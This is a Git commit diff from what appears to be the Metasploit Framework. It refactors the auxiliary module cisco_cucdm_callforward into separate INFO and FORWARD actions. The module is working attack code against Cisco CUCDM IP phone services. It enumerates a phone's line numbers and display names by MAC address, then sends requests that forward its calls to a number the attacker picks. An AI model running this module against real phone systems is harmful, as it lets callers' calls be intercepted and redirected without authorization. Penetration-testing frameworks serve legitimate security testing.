Refactor cisco_cucdm_callforward

bug/bundler_fix
jvazquez-r7 2015-01-10 00:27:31 -06:00
parent 511a7f8cca
commit 59d602f37d
1 changed files with 59 additions and 35 deletions

View File

@ -46,9 +46,17 @@ class Metasploit3 < Msf::Auxiliary
end end
def run def run
case action.name.upcase
when 'INFO'
get_info
when 'FORWARD'
forward_calls
end
end
def get_info
uri = normalize_uri(target_uri.to_s) uri = normalize_uri(target_uri.to_s)
mac = datastore["MAC"] mac = datastore["MAC"]
forward_to = datastore["FORWARDTO"]
print_status("#{peer} - Getting fintnumbers and display names of the IP phone") print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
@ -63,7 +71,8 @@ class Metasploit3 < Msf::Auxiliary
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/ unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
print_error("#{peer} - Target appears not vulnerable!") print_error("#{peer} - Target appears not vulnerable!")
return print_status("#{res}")
return []
end end
doc = REXML::Document.new(res.body) doc = REXML::Document.new(res.body)
@ -83,10 +92,26 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}") print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
end end
# for a specific FINTNUMBER redirection fint_numbers
fint_numbers = [datastore['FINTNUMBER']] if datastore['FINTNUMBER'] end
def forward_calls
# for a specific FINTNUMBER redirection
uri = normalize_uri(target_uri.to_s)
forward_to = datastore["FORWARDTO"]
mac = datastore["MAC"]
if datastore['FINTNUMBER']
fint_numbers = [datastore['FINTNUMBER']]
else
fint_numbers = get_info
end
if fint_numbers.empty?
print_error("#{peer} - FINTNUMBER required to forward calls")
return
end
if action.name.upcase == "FORWARD"
fint_numbers.each do |fintnumber| fint_numbers.each do |fintnumber|
print_status("#{peer} - Sending call forward request for #{fintnumber}") print_status("#{peer} - Sending call forward request for #{fintnumber}")
@ -121,6 +146,5 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
end end
end
end end